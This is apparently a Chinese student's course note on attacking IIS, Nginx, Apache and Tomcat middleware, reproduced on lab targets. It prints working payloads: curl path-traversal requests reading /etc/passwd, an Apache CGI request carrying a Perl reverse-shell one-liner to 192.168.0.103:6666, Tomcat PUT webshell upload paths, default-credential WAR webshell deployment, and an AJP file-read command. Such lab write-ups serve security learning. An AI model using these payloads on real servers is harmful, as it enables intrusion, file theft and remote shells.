文章目錄
- 前記
- 服務攻防——第七十九天
- 中間件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE
- 中間件 - IIS-短文件&解析&藍屏等
- 中間件 - Nginx-文件解析&命令執行等
- 常見漏洞介紹
- 漏洞復現
- 中間件 - Apache-RCE&目錄遍歷&文件解析等
- 常見漏洞介紹
- 漏洞復現
- CVE-2021-41773
- CVE-2021-42013
- 中間件 - Tomcat-弱口令&文件上傳&文件包含等
- 弱口令猜解
- CVE-2017-12615
- CVE-2020-1938
- 其他CVE
前記
- 今天是學習小迪安全的第七十九天,本節課內容是中間件安全,包括幾大常見的中間件:IIS、Apache、Tomcat、Nginx等
- 主要以實戰為主,希望下去能自己復現一遍
服務攻防——第七十九天
中間件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE
中間件 - IIS-短文件&解析&藍屏等
- 短文件:信息收集,前面講過
- 文件解析:還有點用,前面講過
- HTTP.SYS:藍屏崩潰,前面講過
- CVE-2017-7269:條件苛刻無意義
- 在前面的四十一講中講到過,文章地址:小迪安全v2023學習筆記(四十一講)-CSDN博客
中間件 - Nginx-文件解析&命令執行等
常見漏洞介紹
- CVE-2013-4547
- 漏洞描述:后綴解析,文件名解析
- 配置不當:該漏洞與Nginx、php版本無關,屬于用戶配置不當造成的解析漏洞。
- 影響版本:
Nginx
0.8.41~1.4.3
/1.5.0~1.5.7
- CVE-2017-7529
- 漏洞描述:
Nginx
越界讀取緩存漏洞,意義不大 - 影響版本:
Nginx
0.5.6~1.13.2
- 漏洞描述:
- CVE-2021-23017
- 漏洞描述:無EXP有POC,是拒絕服務漏洞,官方描述可以命令執行,但漏洞沒有公開
- 影響版本:
Nginx
0.6.18~1.20.0
- PoC地址:https://github.com/M507/CVE-2021-23017-PoC
- Nginx漏洞公開官網地址:https://nginx.org/en/security_advisories.html
漏洞復現
-
這里我們演示一下
CVE-2021-23017
這個漏洞,首先我們需要啟動昨天的Vulfocus
,下載Nginx的靶場:
-
然后啟動靶場,訪問網站,能看到下面這個頁面就說明是Nginx:
-
我們可以通過數據包看看它當前的版本是否符合我們漏洞的影響版本:
-
這里可以看到版本為
1.18.0
,符合我們的漏洞版本,這里就可以直接嘗試利用PoC驗證一下:
sudo python3 poc.py --target 192.168.0.143:34735 --dns_server 8.8.8.8
-
直接使用這個
poc.py
是會報錯的,因為它不能解析ip:port
這種格式,需要讓AI修改一下,然后再運行上面這個代碼:
-
然后我們需要讓受害者主機進行DNS解析,訪問域名即可,但是這里是用的虛擬機,沒有域名,而且本地域名用了我也沒有復現成功,各位就下去自己試試看吧
中間件 - Apache-RCE&目錄遍歷&文件解析等
常見漏洞介紹
- CVE-2021-41773:
- 漏洞描述:CVE-2021-41773 是 Apache HTTP Server 2.4.49 中首次披露的路徑穿越(目錄遍歷)漏洞,攻擊者可繞過 URL 規范化,讀取 Web 目錄外的任意文件;若服務器同時啟用 CGI/ScriptAlias,還可進一步實現遠程命令執行(RCE)。
- 影響版本:
Apache HTTP Server 2.4.49
- 利用:
#使用curl測試,前面是固定的,后面的/etc/passwd是要讀取的文件
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'# 使用bp發包測試
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
- CVE-2021-42013:
- 漏洞描述:CVE-2021-42013 是 Apache 對 CVE-2021-41773 的“修補失敗”產物:官方在 2.4.50 中只堵了單重編碼的
%2e
,卻忘了處理雙重 URL 編碼,導致攻擊者仍可用.%%32e
再次繞過路徑規范化,實現與 CVE-2021-41773 完全相同的危害:任意文件讀取 + CGI 場景下 RCE。 - 影響版本:
Apache HTTP Server 2.4.50
- 利用:
- 漏洞描述:CVE-2021-42013 是 Apache 對 CVE-2021-41773 的“修補失敗”產物:官方在 2.4.50 中只堵了單重編碼的
# 命令行
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'# 數據包
# 下面使用bp發post包,數據為要執行的命令
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
# 要執行的命令,這里是執行反彈shell命令
echo;perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
-
CVE-2017-15715:
- 漏洞描述:Apache HTTPD 是一款 HTTP 服務器。其 2.4.0~2.4.29 版本存在一個解析漏洞,在解析 PHP 時,1.php\x0A 將被按照 PHP 后綴進行解析,導致繞過一些服務器的安全策略。
- 演示案例:Apache HTTPD 換行解析漏洞 (CVE-2017-15715) - kalibb - 博客園 (cnblogs.com)
-
CVE-2017-9798
:利用價值不大 -
CVE-2018-11759
:利用價值不大 -
CVE-2021-37580
:插件漏洞
漏洞復現
- 這里我們就只復現一二兩個漏洞(第三個是之前復現過的),然后需要下載對應的靶場
- 我的本地靶場不知道怎么崩掉了,這里就還是使用在線的
Vulfocus
靶場,其實還是能用的
CVE-2021-41773
-
首先看一下它的版本為
Apache/2.4.49 (Debian)
,符合我們的漏洞版本,那這里就直接測試了:
-
成功讀取到
/etc/password
的內容,說明漏洞是存在的
CVE-2021-42013
-
這個的靶場就可以直接用上面這個,然后我們也是直接嘗試PoC即可:
-
或者使用BP發包,也是OK的,比如這里也執行
id
命令:
-
當然,也可以嘗試反彈Shell,或者正向Shell都是OK的
中間件 - Tomcat-弱口令&文件上傳&文件包含等
弱口令猜解
- 漏洞描述:Tomcat提供一個網頁端的后臺管理頁面,該頁面需要配置才可用,默認賬號密碼為
tomcat/tomcat
或者admin/admin
,如果沒有重新配置賬號密碼則可用默認用戶登錄,或者爆破弱口令登錄;之后通過上傳War
包可拿Shell
- 利用:
- 先爆破
tomcat
登錄弱口令 - 然后將生成的 webshell 后門如 1.jsp 壓縮成 zip 后修改后綴為 war
- 上傳 war 訪問鏈接 / 1/1.jsp
- 文件存在,上傳成功,使用工具連接即可
- 先爆破
- 演示:
-
首先配置
tomcat
賬戶,位置為/conf/tomcat-users.xml
,添加如下用戶
-
關閉殺軟,然后啟動
tomcat
,點擊Manager App
-
輸入默認賬號和密碼嘗試登錄,或者嘗試弱口令爆破
-
然后就登錄進來了,找到部署WAR文件的地方
-
我們利用哥斯拉生成一個
jsp
后門,然后壓縮為壓縮包,將后綴改為.war
格式
-
上傳,然后訪問該
war
包下的1.jsp
文件,出現空白說明文件存在
-
然后直接通過哥斯拉連接即可
-
CVE-2017-12615
- 漏洞描述:當存在漏洞的 Tomcat 運行在 Windows/Linux 主機上, 且啟用了 HTTP PUT 請求方法( 例如, 將 readonly 初始化參數由默認值設置為 false) , 攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 的 webshell 文件,JSP 文件中的惡意代碼將能被服務器執行, 導致服務器上的數據泄露或獲取服務器權限
- 影響版本:
Apache Tomcat 7.0.0 - 7.0.81
- 利用:使用 bp 發 PUT 包,數據為 jsp 后門代碼,可以右鍵
Paste from file
,然后選擇后門文件 1.jsp 即可
// 基于Linux
PUT /x.jsp/
PUT /xx.jsp%20// 基于Windows
PUT /xxx.jsp::$DATA
- 演示:
-
這里關閉殺軟,生成一個
jsp
木馬,然后訪問靶場進行抓包,右鍵Paste from file
選中剛剛的文件,并將提交方式改為PUT:
-
顯示201說明上傳成功,我們訪問該文件,空白說明文件存在:
-
直接嘗試哥斯拉連接,成功:
-
CVE-2020-1938
- 漏洞描述:
Apache Tomcat AJP
協議(默認 8009 端口)由于存在實現缺陷導致相關參數可控,攻擊者利用該漏洞可通過構造特定參數,讀取服務器 webapp 目錄下的任意文件。若服務器端同時存在文件上傳功能,攻擊者可進一步結合文件包含實現遠程代碼的執行。 - 影響版本:
- Tomcat 6.*
- Tomcat 7.* < 7.0.100
- Tomcat 8.* < 8.5.51
- Tomcat 9.* < 9.0.31
- 利用:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 目標IP -p 目標端口 -f 讀取的文件名
- 演示:
-
啟動靶場,然后直接腳本一把梭即可,比如這里讀取
/WEB-INF/web.xml
文件:
-
如果該站點存在文件上傳功能,那可以配合實現RCE
-
其他CVE
CVE-2020-11996
拒絕服務:危害過大,權限無關,意義不大CVE-2020-9484
反序列化:利用條件太苛刻,意義不大- 參考:Tomcat常見安全漏洞 | 高木のBlog